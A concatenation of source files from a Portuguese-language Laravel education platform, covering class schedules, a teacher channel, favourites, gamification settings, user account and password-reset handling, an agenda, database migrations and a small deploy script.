$this->getAluno()->turmas_aluno; } private function getAulas($date, $turma) { $dayOfWeek = Carbon::createFromFormat('Y-m-d', $date)->dayOfWeek; if ($turma === "todas") { $turmasId = []; foreach ($this->getAluno()->turmas_aluno as $turma) { $turmasId[] = $turma->turma_id; } // Retorna as grades de aula relacionadas a todas as turmas que o aluno faz parte. return GradeAula::whereIn('turma_id', $turmasId) ->where(function ($query) use ($dayOfWeek, $date) { $query->where([['recorrente', 0], ['data', $date]]); $query->orWhere([['recorrente', 1], ['dia', $dayOfWeek]]); })->with('planos')->get(); } // Retorna as grades de aula relacionada a uma turma. return GradeAula::where('turma_id', $turma)->where(function ($query) use ($dayOfWeek, $date) { $query->where([['recorrente', 0], ['data', $date]]); $query->orWhere([['recorrente', 1], ['dia', $dayOfWeek]]); })->get(); } public function index($date, $turma) { $aulas = $this->getAulas($date, $turma); $turmas = $this->getTurmas(); $turmaUrl = request()->segment(5); return view('pages.grade-aulas.alunos.index', compact('aulas', 'turmas', 'turmaUrl', 'date')); } } <file_sep>/app/ConteudoCompleto.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; use Carbon\Carbon; class ConteudoCompleto extends Model { protected $table = 'conteudo_completo'; //Preenchiveis protected $fillable = [ 'id', 'curso_id', 'aula_id', 'conteudo_id', 'user_id', 'resposta', 'correta', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'resposta' => null, 'correta' => null ]; public function curso() { return $this->belongsTo('App\Curso', 'curso_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/RoteiroTopico.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class RoteiroTopico extends Model { protected $table = 'roteiros_topicos'; //Preenchiveis protected $fillable = [ 'roteiro_id', 'user_id', 'status' ]; public $topicosAtivos; public $topicosInativos; // Protegidos protected $hidden = [ ]; //Atributos protected $attributes = [ ]; public function topico() { return $this->belongsTo('App\Roteiro'); } public function topicosAtivos() { return $query::where('status', 1); } public function topicosInativos() { return $query::where('status', 0); } } <file_sep>/app/Http/Controllers/Favoritos/Api/FavoritosApiController.php <?php namespace App\Http\Controllers\Favoritos\Api; use App\Entities\Favorito\Favorito; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Validator; class FavoritosApiController extends Controller { public function listar($field) { try { // if ($field === 'albuns') { $favoritos = Favorito::where('user_id', Auth::user()->id) ->where('album_id', '!=', null) ->with(['albums' => function ($query) { $query->select('albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id'); }]) ->select('favoritos.id', 'favoritos.user_id', 'favoritos.album_id') ->get(); } return response()->json($favoritos); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao lista os favoritos", "message:" => $exception->getMessage()]); } } public function store(Request $request) { try { $field = $request->get('field'); $check = Favorito::where([[$field, $request->get('value')], ['user_id', Auth::user()->id]])->exists(); $name = ($field === 'album_id' ? 'álbum' : 'áudio'); if ($check) { return response()->json(['error' => "Este $name já está adicionado em seus favoritos!"]); } Favorito::create([ 'user_id' => Auth::user()->id, $field => $request->get('value'), ]); return response()->json("$name adicionado aos favoritos com sucesso!"); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao adicionar o $name aos favoritos", "message:" => $exception->getMessage()]); } } public function destroy($id) { try { $favorito = Favorito::find($id); $favorito->delete(); return response()->json('Removido com sucesso!'); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao adicionar aos favoritos", "message:" => $exception->getMessage()]); } } } <file_sep>/app/ProdutoTransacao.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class ProdutoTransacao extends Model { protected $table = 'produto_transacao'; //Preenchiveis protected $fillable = [ 'transacao_id', 'user_id', 'produto_id', 'titulo', 'descricao', 'tipo', 'valor', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'descricao' => '', 'tipo' => '1', ]; // Tipos // 1 = Licenças // 2 = Cursos // public function transacao() // { // return $this->belongsTo('App\Transacao'); // } public function transacao() { return $this->belongsTo('App\Transacao', 'transacao_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Http/Controllers/AudioInteracoes/Admin/AudioInteracoesController.php <?php namespace App\Http\Controllers\AudioInteracoes\Admin; use Illuminate\Support\Facades\Input; use App\Entities\Audio\Audio; use App\Entities\AudioInteracoes\AudioInteracoes; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Storage; class AudioInteracoesController extends Controller { public function index(Request $request) { $audios = Audio::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $audios->when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }); $is_admin = strtoupper(Auth::user()->permissao) == "Z"; $audios->when($is_admin == false, function ($query) { return $query->where('user_id', '=', Auth::user()->id); }); $audios = $audios ->orderBy('id', 'DESC') ->get(); return view('pages.audios-interacoes.admin.index', compact('audios')); } public function store(Request $request) { $audioInteracao = AudioInteracoes::create([ 'user_id' => Auth::user()->id, 'audio_id' => $request->get('audio_id'), 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'inicio' => $request->get('inicio'), 'fim' => $request->get('fim'), ]); return redirect('gestao/audios-interacoes/'.$request->get('audio_id').'/view')->with('message', 'Interação adicionada com sucesso!'); } public function view($idAudio) { $audio = Audio::find($idAudio); return view('pages.audios-interacoes.admin.view', compact('audio')); } public function update(Request $request, $idAudioInteracao) { $audioInteracao = AudioInteracoes::find($idAudioInteracao); $audioInteracao->update([ 'id' => $idAudioInteracao, 'audio_id' => $request->get('audio_id'), 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'inicio' => $request->get('inicio'), 'fim' => $request->get('fim') ]); return redirect('gestao/audios-interacoes/'.$request->get('audio_id').'/view')->with('message', 'Interação atualizada com sucesso!'); } public function destroy(Request $request, $idAudioInteracao) { $audioInteracao = AudioInteracoes::find($idAudioInteracao); if (!$audioInteracao) { return redirect()->back()->withErrors(['Interação não encontrada!']); } $audioInteracao->delete(); return redirect('gestao/audios-interacoes/'.$request->get('audio_id').'/view')->with('message', 'Interação excluída com sucesso!'); } } <file_sep>/app/Http/Controllers/Conquistas/Admin/ConquistasController.php <?php namespace App\Http\Controllers\Conquistas\Admin; use App\Entities\Conquista\Conquista; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Input; class ConquistasController extends Controller { public function index(Request $request) { $conquistas = Conquista::orderBy('id', 'DESC')->paginate(6); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; if($tem_pesquisa) { $conquistas = Conquista::where('titulo', 'like', '%' . Input::get('pesquisa') . '%')->paginate(6); } return view('pages.conquistas.admin.index', compact('conquistas')); } public function store(Request $request) { $this->validate($request, [ 'titulo' => 'required' ]); $values = $request->all(); $values['user_id'] = Auth::user()->id; Conquista::create($values); return redirect()->route('gestao.conquistas.listar')->with('message', 'Conquista cadastrado com sucesso!'); } public function fetch($id, Request $request) { $conquista = Conquista::find($id); return $conquista->toJson(); } public function update($id, Request $request) { $this->validate($request, [ 'titulo' => 'required' ]); $values = $request->all(); Conquista::find($id)->update($values); return redirect()->route('gestao.conquistas.listar')->with('message', 'Conquista atualizado com sucesso!'); } public function delete($id) { Conquista::find($id)->delete(); return redirect()->route('gestao.conquistas.listar')->with('message', 'Conquista excluído com sucesso!'); } } <file_sep>/pull.sh git pull php artisan migrate php artisan cache:clear php artisan config:clear php artisan view:clear php artisan route:clear # php artisan route:cache echo 'Pull finished.' <file_sep>/app/Http/Controllers/CanalProfessor/CanalProfessorController.php <?php namespace App\Http\Controllers\CanalProfessor; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\User; use App\AvaliacaoInstrutor; use App\DuvidaProfessor; use App\Escola; use App\Conteudo; use App\Metrica; use App\ComentarioDuvidaProfessor; use App\AlunoTurma; use App\Turma; use App\Aplicacao; use App\Categoria; use App\Curso; use App\Aula; use App\ConteudoAula; use App\Matricula; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use App\Http\Controllers\Controller; class CanalProfessorController extends Controller { public function index($idProfessor) { $professor = User::find($idProfessor); $podcasts = Conteudo::where('user_id', $idProfessor) ->where('tipo', 2)->get(); $transmissoes = Conteudo::where('user_id', $idProfessor) ->where('tipo', 5)->get(); //echo '<pre>'; print_r($conteudos); die; return view('pages.canal_professor.index', compact('podcasts', 'transmissoes', 'professor')); } public function biblioteca($idProfessor) { $professor = User::find($idProfessor); $conteudos = Conteudo::where('user_id', $idProfessor)->get(); $aplicacoes = Aplicacao::where('user_id', $idProfessor)->get(); $videos = $conteudos->filter(function ($c) { return $c->tipo == 3; }); $slides = $conteudos->filter(function ($c) { return ($c->tipo == 4 && (strpos($c->conteudo, ".ppt") !== false || strpos($c->conteudo, ".pptx") !== false)); }); $documentos = $conteudos->filter(function ($c) { return $c->tipo == 1 || ($c->tipo == 4 && (strpos($c->conteudo, ".ppt") == false && strpos($c->conteudo, ".pptx") == false)); }); $apostilas = $conteudos->filter(function ($c) { return $c->tipo == 11; }); return view('pages.canal_professor.biblioteca')->with(compact('conteudos', 'videos', 'slides', 'apostilas', 'documentos', 'aplicacoes', 'professor')); } public function avaliacoes($idProfessor) { $professor = User::find($idProfessor); $avaliacoes = DB::table('avaliacoes_instrutor') ->join('users', 'avaliacoes_instrutor.user_id', '=', 'users.id') ->select(DB::raw('users.id as id, users.name as nome, users.img_perfil as img_perfil, avaliacoes_instrutor.descricao as avaliacao, avaliacoes_instrutor.avaliacao as estrelas')) ->where('avaliacoes_instrutor.instrutor_id', '=', $idProfessor) ->get(); return view('pages.canal_professor.avaliacoes', compact('avaliacoes', 'professor')); } public function duvidas($idProfessor) { $professor = User::with('escola')->find($idProfessor); if($professor == null) { return redirect()->back()->withErrors("Professor não encontrado!"); } else if(strtoupper($professor->permissao) != "P" && strtoupper($professor->permissao) != "G" && strtoupper($professor->permissao) != "Z") { return redirect()->back()->withErrors("Professor não encontrado!"); } if(AvaliacaoInstrutor::where('instrutor_id', '=', $idProfessor)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $idProfessor)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $duvidas = DuvidaProfessor::where([['professor_id', '=', $idProfessor]]) ->orderBy('status', 'asc') ->orderBy('created_at', 'desc') ->get(); // ->sortBy('status'); foreach ($duvidas as $duvida) { $duvida->qt_comentarios = ComentarioDuvidaProfessor::where([['duvida_id', '=', $duvida->id]])->count(); } // dd($duvidas); return view('pages.canal_professor.duvidas')->with(compact('duvidas', 'professor', 'avaliacaoInstrutor')); } public function duvida($idProfessor, $idDuvida) { $duvida = DuvidaProfessor::with('professor', 'user', 'comentarios')->has('professor')->has('user')->find($idDuvida); if($duvida == null) { return redirect()->route('professor.duvidas', $idProfessor)->withErrors("Dúvida não encontrada!"); } if(AvaliacaoInstrutor::where('instrutor_id', '=', $duvida->professor->id)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $duvida->professor->id)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $turma = Turma::where([['user_id', '=', Auth::user()->id]])->first(); return view('pages.canal_professor.duvida-respostas')->with(compact('turma', 'duvida', 'avaliacaoInstrutor')); } } <file_sep>/app/TopicoCurso.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class TopicoCurso extends Model { protected $table = 'topico_curso'; //Preenchiveis protected $fillable = [ 'curso_id', 'user_id', 'titulo', 'descricao', 'status' ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'descricao' => '', 'status' => 0 ]; public function comentarios() { return $this->hasMany('App\ComentarioTopicoCurso', 'topico_curso_id'); } public function getUltimoComentarioAttribute() { return \App\ComentarioTopicoCurso::where([['topico_curso_id', '=', $this->id]])->with('user')->first(); } public function getVisualizacoesAttribute() { return \App\Metrica::where('titulo', '=', 'Visualização tópico - ' . $this->id)->pluck('user_id')->unique('user_id')->count(); } public function curso() { return $this->belongsTo('App\Curso', 'curso_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/database/migrations/2019_08_08_111945_create_grade_aulas_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateGradeAulasTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('grade_aulas', function(Blueprint $table) { $table->increments('id'); $table->integer('user_id'); $table->integer('turma_id'); $table->string('titulo'); $table->text('descricao', 65535)->nullable(); $table->date('data')->nullable(); $table->dateTime('data_inicial'); $table->time('hora_inicial')->nullable(); $table->dateTime('data_final'); $table->time('hora_final')->nullable(); $table->boolean('recorrente')->nullable(); $table->integer('dia')->nullable(); $table->string('cor', 100)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('grade_aulas'); } } <file_sep>/app/Entities/ConfiguracoesGamificacao/ConfiguracoesGamificacao.php <?php namespace App\Entities\ConfiguracoesGamificacao; use App\User; use Illuminate\Database\Eloquent\Model; class ConfiguracoesGamificacao extends Model { protected $table = "configuracoes_gamificacao"; //Preenchiveis protected $fillable = [ 'user_id', 'escola_id', 'login_ativo', 'login_xp', 'conclusao_conteudo_ativo', 'conclusao_conteudo_xp', 'conclusao_aula_ativo', 'conclusao_aula_xp', 'conclusao_curso_ativo', 'conclusao_curso_xp', 'conclusao_teste_ativo', 'conclusao_teste_xp', 'topico_ativo', 'topico_xp', 'comentario_ativo', 'comentario_xp', 'level_up_curso_ativo', 'level_up_curso', 'level_up_conquista_ativo', 'level_up_conquista', 'formula_level_ativo', 'formula_level', ]; protected $attributes = [ 'login_ativo' => false, 'conclusao_conteudo_ativo' => false, 'conclusao_aula_ativo' => false, 'conclusao_curso_ativo' => false, 'conclusao_teste_ativo' => false, 'topico_ativo' => false, 'comentario_ativo' => false, 'level_up_curso_ativo' => false, 'level_up_conquista_ativo' => false, 'formula_level_ativo' => false, ]; protected $casts = [ 'login_ativo' => 'boolean', 'conclusao_conteudo_ativo' => 'boolean', 'conclusao_aula_ativo' => 'boolean', 'conclusao_curso_ativo' => 'boolean', 'conclusao_teste_ativo' => 'boolean', 'topico_ativo' => 'boolean', 'comentario_ativo' => 'boolean', 'level_up_curso_ativo' => 'boolean', 'level_up_conquista_ativo' => 'boolean', 'formula_level_ativo' => 'boolean', ]; public function user() { return $this->belongsTo(User::class, 'user_id'); } public function escola() { return $this->belongsTo('AppEscola', 'user_id'); } } <file_sep>/database/migrations/2019_08_08_111945_create_transacoes_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateTransacoesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('transacoes', function(Blueprint $table) { $table->integer('id', true); $table->string('referencia_id')->nullable(); $table->integer('user_id'); $table->float('sub_total', 10, 0); $table->float('adicional', 10, 0)->nullable(); $table->float('desconto', 10, 0)->nullable(); $table->float('frete', 10, 0)->nullable(); $table->float('total', 10, 0); $table->integer('status'); $table->string('metodo'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('transacoes'); } } <file_sep>/app/Http/Controllers/UserController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Redirect; use Session; use Auth; use Mail; use App\User; use App\ResetToken; use App\EnderecoUser; use App\Escola; class UserController extends Controller { public function postNovo(Request $request) { if (User::where('email', '=', $request->email)->first() != null) { \Session::flash('warning', 'Este email já está cadastrado!'); } else { // dd($request->all()); $user = User::create([ 'name' => $request->name, 'email' => $request->email, 'password' => \Hash::make('<PASSWORD>'), 'ultima_atividade' => date("Y-m-d H:i:s"), ]); if($request->has('escola_id')) { if(Escola::find($request->escola_id)) { $user->update([ 'escola_id' => $request->escola_id ]); } } if($request->has('permissao')) { if(strtoupper($request->permissao) == "Z") { $user->update([ 'permissao' => "Z" ]); } else if(strtoupper($request->permissao) == "E") { $user->update([ 'permissao' => "E" ]); } else if(strtoupper($request->permissao) == "G") { $user->update([ 'permissao' => "G" ]); } else if(strtoupper($request->permissao) == "P") { $user->update([ 'permissao' => "P" ]); } else { $user->update([ 'permissao' => "A" ]); } } \Session::flash('success', 'Usuário criada com sucesso, a senha será enviada para o endereço de email!'); } // return redirect()->route('dashboard.usuarios'); return redirect()->back(); } public function perfilIncompleto() { $user = Auth::user(); if (EnderecoUser::find($user->id) != null && $user->telefone != '' && $user->cpf != '' && $user->rg != '' && $user->nome_completo != '') { return redirect()->route('catalogo'); } $endereco = EnderecoUser::find($user->id); return view('auth.perfil-incompleto')->with(compact('endereco')); } public function postPerfilIncompleto(Request $request) { $request->data_nascimento = str_replace("/", "-", $request->data_nascimento); $user = Auth::user()->update([ "nome_completo" => $request->nome_completo, "data_nascimento" => date("Y-m-d", strtotime($request->data_nascimento)), "cpf" => $request->cpf, "rg" => $request->rg, "telefone" => $request->telefone, "genero" => $request->genero, "completo" => true, ]); if ($request->numero_complemento == null) $request->numero_complemento = ""; $endereco = EnderecoUser::updateOrCreate( ['user_id' => Auth::user()->id], [ 'user_id' => Auth::user()->id, "cep" => $request->cep, "uf" => $request->uf, "cidade" => $request->cidade, "bairro" => $request->bairro, "logradouro" => $request->logradouro, "numero_complemento" => $request->numero_complemento, ] ); return redirect()->route('catalogo'); } public function getUsuario($idUsuario) { if (User::find($idUsuario) != null) { $usuario = User::find($idUsuario); return response()->json(['success' => 'Usuário encontrado.', 'user' => json_encode($usuario)]); } else { return response()->json(['error' => 'Usuário não encontrado!']); } } public function update(Request $request) { if (User::find($request->id) != null) { $usuario = User::find($request->id); $usuario->name = $request->name; $usuario->email = $request->email; if (strrpos(mb_strtoupper(\Auth::user()->permissao, 'UTF-8'), "Z") !== false) { $usuario->permissao = $request->permissao; } $usuario->save(); return Redirect::back()->with('message', 'Usuario atualizado com sucesso!'); } else { return Redirect::back()->withErrors(['Usuario atualizado não encontrada!']); } // return redirect()->route('dashboard.usuarios'); return redirect()->back(); } public function delete($idUsuario) { if (strrpos(mb_strtoupper(\Auth::user()->permissao, 'UTF-8'), "Z") === false) { return response()->json(['error' => 'Você não tem permissão para deletar este item, consulte o administrador!']); } if ($idUsuario == \Auth::id()) { return response()->json(['error' => 'Você não pode deletar a si mesmo!']); } if (User::find($idUsuario) != null) { $user = User::find($idUsuario); $user->delete(); return response()->json(['success' => 'Usuário deletado com sucesso!']); } else { return response()->json(['error' => 'Usuário não encontrado!']); } } public function imagemPerfil($idUsuario) { $user = User::find($idUsuario); if ($user == null) { return \Storage::disk('public_images')->response('default-user.jpg'); // return env('APP_URL') . '/images/default-user.jpg'; } elseif ($user->img_perfil == null || $user->img_perfil == "") { return \Storage::disk('public_images')->response('default-user.jpg'); // return env('APP_URL') . '/images/default-user.jpg'; } else { if (\Storage::disk('local')->has('uploads/usuarios/perfil/' . $user->img_perfil)) { return \Storage::disk('local')->response('uploads/usuarios/perfil/' . $user->img_perfil); } else { $user->img_perfil = ''; $user->save(); return \Storage::disk('public_images')->response('default-user.jpg'); } } } public function esqueciSenha() { if (\Auth::check()) { return redirect()->route('catalogo'); } return view('user.esqueci-senha'); } public function postEsqueciSenha(Request $request) { // dd($request); $newToken = md5(uniqid(time(), true)); if (ResetToken::where('email', '=', $request->email)->first() != null) { $resetToken = ResetToken::where('email', '=', $request->email)->first(); $resetToken->token = $newToken; $resetToken->created_at = date('Y-m-d H:i:s'); $resetToken->save(); } else { ResetToken::create([ "email" => $request->email, "token" => $newToken, "created_at" => date('Y-m-d H:i:s'), ]); } $userEmail = $request->email; $userName = ucwords(User::where('email', '=', $request->email)->first()->name); // dd($newToken); $data = [ 'email' => $userEmail, 'name' => $userName, 'token' => $newToken ]; Mail::send('mail.reset-email', $data, function ($message) use ($data) { $message->from('<EMAIL>', 'Sup<NAME>'); $message->to($data['email'], $data['name'])-> subject('Jean Piaget - Link para resetar senha'); }); \Session::flash('message', 'Enviamos para seu email um link para resetar sua senha, verifique em sua caixa de entrada!'); return redirect()->route('home'); // return redirect()->route('catalogo'); // return view('user.esqueci-senha'); } public function resetarSenha($token) { if (\Auth::check()) { Session::flush(); // return redirect()->route('catalogo'); } return view('user.resetar-senha')->with(compact('token')); } public function postResetarSenha(Request $request) { $validatedData = $request->validate([ 'email' => 'required|string|email|max:255|exists:users', 'password' => '<PASSWORD>', // 'password_confirmation' => '<PASSWORD>', ]); if (strlen($request->password) < 6) { \Session::flash('warning', 'A sua nova senha deve ter no mínimo 6 caracteres!'); return redirect()->back(); } if ($request->password != $request->password_confirmation) { \Session::flash('warning', 'A senha de confirmação deve ser idêntica a sua nova senha!'); return redirect()->back(); } if (User::where('email', '=', $request->email)->first() == null) { \Session::flash('warning', 'O email inserido é inválido!'); return redirect()->back(); } if (ResetToken::where([['email', '=', $request->email], ['token', '=', $request->token]])->first() == null) { return redirect()->back()->withErrors('Link para troca de senha inválido, tente fazer uma nova solicitação!'); } $resetToken = ResetToken::where([['email', '=', $request->email], ['token', '=', $request->token]])->first(); $start_date = new \DateTime(date('Y-m-d H:i:s')); $since_start = $start_date->diff(new \DateTime($resetToken->created_at)); if ($since_start->days === false || $since_start->y > 0 || $since_start->m > 0 || $since_start->d > 0 || $since_start->h > 0 || $since_start->i > 15) { ResetToken::where([['email', '=', $request->email], ['token', '=', $request->token]])->delete(); return redirect()->back()->withErrors('Link para troca de senha expirado, tente fazer uma nova solicitação!'); } $user = User::where('email', '=', $request->email)->first(); $user->password = \Hash::make($request->password); $user->save(); \Auth::loginUsingId($user->id); ResetToken::where([['email', '=', $request->email], ['token', '=', $request->token]])->delete(); \Session::flash('message', 'Senha alterada com sucesso!'); return redirect()->route('catalogo'); } } <file_sep>/app/Http/Controllers/Agenda/AgendaController.php <?php namespace App\Http\Controllers\Agenda; use App\Entities\Agenda\Agenda; use App\Entities\GradeAula\GradeAula; use App\Turma; use App\User; use Carbon\Carbon; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use MaddHatter\LaravelFullcalendar\Facades\Calendar; class AgendaController extends Controller { private function getAgendaPessoal() { $agendaPessoal = []; $dataAgendaPessoal = Agenda::where('user_id', Auth::user()->id)->get(); foreach ($dataAgendaPessoal as $key => $value) { $agendaPessoal[] = Calendar::event( $value->titulo, false, $value->data_inicial, $value->data_final, $value->id, [ 'color' => "$value->cor", 'textColor' => '#FFFFFF', 'description' => $value->descricao, ] ); } return $agendaPessoal; } private function getCalendars($idTurma = null, $pessoal = false, $mesclar = false) { $opts = [ 'firstDay' => 1, // inicia na segunda 'columnFormat' => 'ddd D', 'allDaySlot' => false, 'defaultView' => 'agendaWeek', 'slotLabelFormat' => 'HH:mm', 'locale' => 'pt-br', 'contentHeight' => 'auto' ]; $setCallbacks = [ 'dayClick' => 'function(date){ $(".modal-body #dateCalendar").val( date.format("DD/MM/YYYY HH:mm") ); $(".modal-body #dateCalendarInput").val( date.format("DD/MM/YYYY") ); $(".modal-body #hourCalendarInput").val( date.format("HH:mm") ); $("#novaAgenda").modal("show"); }', 'eventClick' => 'function(event, date) { $(".modal-body #idCalendar").val( event.id ); $(".modal-body #dateCalendarEditInput").val(event.start.format("DD/MM/YYYY")); $(".modal-body #hourCalendarInput").val(event.start.format("HH:mm")); $(".modal-body #tituloCalendar").val( event.title ); $(".modal-body #descricaoCalendar").val( event.description ); $(".modal-body #dateShowCalendar").html( event.start.format("DD/MM/YYYY HH:mm") ); $(".modal-body #removeAgenda").attr("data-id", event.id); $("#editaAgenda").modal("show"); }' ]; if ($pessoal == true) { $opts['hiddenDays'] = [0]; $opts['minTime'] = '05:00:00'; $opts['maxTime'] = '23:00:00'; $opts['slotDuration'] = '01:00:00'; $calendar = Calendar::addEvents($this->getAgendaPessoal())->setOptions($opts)->setCallbacks($setCallbacks); } if ($idTurma !== null) { $opts['minTime'] = '05:00:00'; $opts['maxTime'] = '23:00:00'; $opts['slotDuration'] = '01:00:00'; $setCallbacks = []; $agendaTurma = []; if (is_array($idTurma)) { // grade de aulas relacionada a mais de uma turma $dataTurma = GradeAula::whereIn('turma_id', $idTurma)->get(); } else { // grade de aulas relacionadas a uma turma $dataTurma = GradeAula::where('turma_id', $idTurma)->get(); } foreach ($dataTurma as $key => $value) { $extras = [ 'color' => "$value->cor", 'textColor' => '#FFFFFF', 'description' => $value->descricao, 'dow' => [$value->dia], 'ranges' => [$value->dia => ['start' => "$value->data_inicial", 'end' => '']] ]; if ($value->recorrente == 0) { unset($extras['dow']); unset($extras['ranges']); } $agendaTurma[] = Calendar::event( $value->titulo, false, $value->data_inicial, $value->data_final, $value->id, $extras ); } if ($mesclar == 'true') { $calendar = Calendar::addEvents($agendaTurma)->addEvents($this->getAgendaPessoal())->setOptions($opts)->setCallbacks($setCallbacks); } else { $calendar = Calendar::addEvents($agendaTurma)->setOptions($opts)->setCallbacks($setCallbacks); } } return $calendar; } private function getTurmas() { $aluno = User::find(Auth::user()->id); return $turmas = $aluno->turmas_aluno; } public function index() { $turmas = $this->getTurmas(); // lista apenas registros da agenda pessoal $calendar = $this->getCalendars(null, true); return view('pages.agenda.index', compact('calendar', 'turmas')); } public function filterCalendar($idTurma, $mesclar) { $turmas = $this->getTurmas(); /* * Verifica se o usuario clicou em todas as turmas * Recupera os ids das turmas relacionada ao usuário */ if ($idTurma == 'todas') { $idsTurmas = []; foreach ($turmas as $turma) { $idsTurmas[] = $turma->turma_id; } $calendar = $this->getCalendars($idsTurmas, false, $mesclar); $nomeTurma = "Todas as turmas"; } if ($idTurma !== 'todas') { $calendar = $this->getCalendars($idTurma, false, $mesclar); $nomeTurma = Turma::find($idTurma)->titulo; } return view('pages.agenda.index', compact('calendar', 'turmas', 'nomeTurma', 'idTurma')); } public function store(Request $request) { $startDate = Carbon::createFromFormat('d/m/Y', $request->get('date'))->format('Y-m-d') . ' ' . $request->get('hour'); $endDate = Carbon::parse($startDate)->addHours(1)->format('Y-m-d H:s'); Agenda::create([ 'data_inicial' => $startDate, 'data_final' => $endDate, 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'cor' => $request->get('cor'), 'user_id' => Auth::user()->id ]); return redirect()->route('agenda.index')->with('message', 'Agenda cadastrada com sucesso!'); } public function update(Request $request) { $startDate = Carbon::createFromFormat('d/m/Y', $request->get('date'))->format('Y-m-d') . ' ' . $request->get('hour'); $endDate = Carbon::parse($startDate)->addHours(1)->format('Y-m-d H:s'); Agenda::find($request->get('id'))->update([ 'data_inicial' => $startDate, 'data_final' => $endDate, 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'cor' => (!empty($request->get('cor')) ? $request->get('cor') : Agenda::find($request->get('id'))->cor) ]); return redirect()->route('agenda.index')->with('message', 'Agenda atualizada com sucesso!'); } public function delete(Request $request) { Agenda::find($request->get('idAgenda'))->delete(); return redirect()->route('agenda.index')->with('message', 'Registro excluído com sucesso!'); } } <file_sep>/app/ComentarioTopicoCurso.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class ComentarioTopicoCurso extends Model { protected $table = 'comentario_topico_curso'; //Preenchiveis protected $fillable = [ 'topico_curso_id', 'user_id', 'conteudo', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; public function topico() { return $this->belongsTo('App\TopicoCurso', 'topico_curso_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/resources/js/app.js // require('./pages/gestao/turmas/mural') // require('../../node_modules/@fortawesome/fontawesome-pro/js/all') // import fontawesome from '../../node_modules/@fortawesome/fontawesome-pro/js/all'; // fontawesome.config = { autoReplaceSvg: false } // window.FontAwesomeConfig = { autoReplaceSvg: false } require('./pages/gestao/audios-interacoes/admin/viewAudioInteracoes') require('./pages/roteiros/admin/indexRoteiros') console.log("Hello world from app.js!"); $('form').submit(function(){ $(':submit', this) .text('Enviando...').val('Enviando...') .attr('disabled', 'disabled'); return true; }); window.checarPreenchimento = function (elemento) { var preenchido = true; var primeiro = null; $(elemento).find(':input[required], :input.required').each(function() { if ($(this).val() == "" || $(this).val() == null) { $(this).addClass('is-invalid'); $(this).append('<p class="campo-obrigatorio">Campo obrigatório*</p>'); if (primeiro == null) { primeiro = this; } preenchido = false; } else { if ($(this).hasClass('is-invalid')) { $(this).removeClass('is-invalid'); } $(this).find('.campo-obrigatorio').remove(); } if (primeiro != null) { $(primeiro).focus(); } }); return preenchido; } <file_sep>/app/Entities/Album/AlbumAudio.php <?php namespace App\Entities\Album; use App\User; use Illuminate\Database\Eloquent\Model; class AlbumAudio extends Model { protected $table = "album_audios"; //Preenchiveis protected $fillable = [ 'album_id', 'audio_id' ]; } <file_sep>/app/Http/Controllers/TurmaController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use Redirect; use Session; // use Request; use App\Entities\GradeAula\GradeAula; use MaddHatter\LaravelFullcalendar\Facades\Calendar; use App\Escola; use App\User; use App\Turma; use App\AlunoTurma; use App\PostagemTurma; use App\ComentarioPostagemTurma; use App\Aplicacao; use App\Conteudo; use App\CodigoTransmissao; class TurmaController extends Controller { public function index() { if (strtoupper(Auth::user()->permissao) == "G") { $escola = Escola::where('user_id', '=', Auth::user()->id)->first(); } if (!isset($escola)) { $escola = 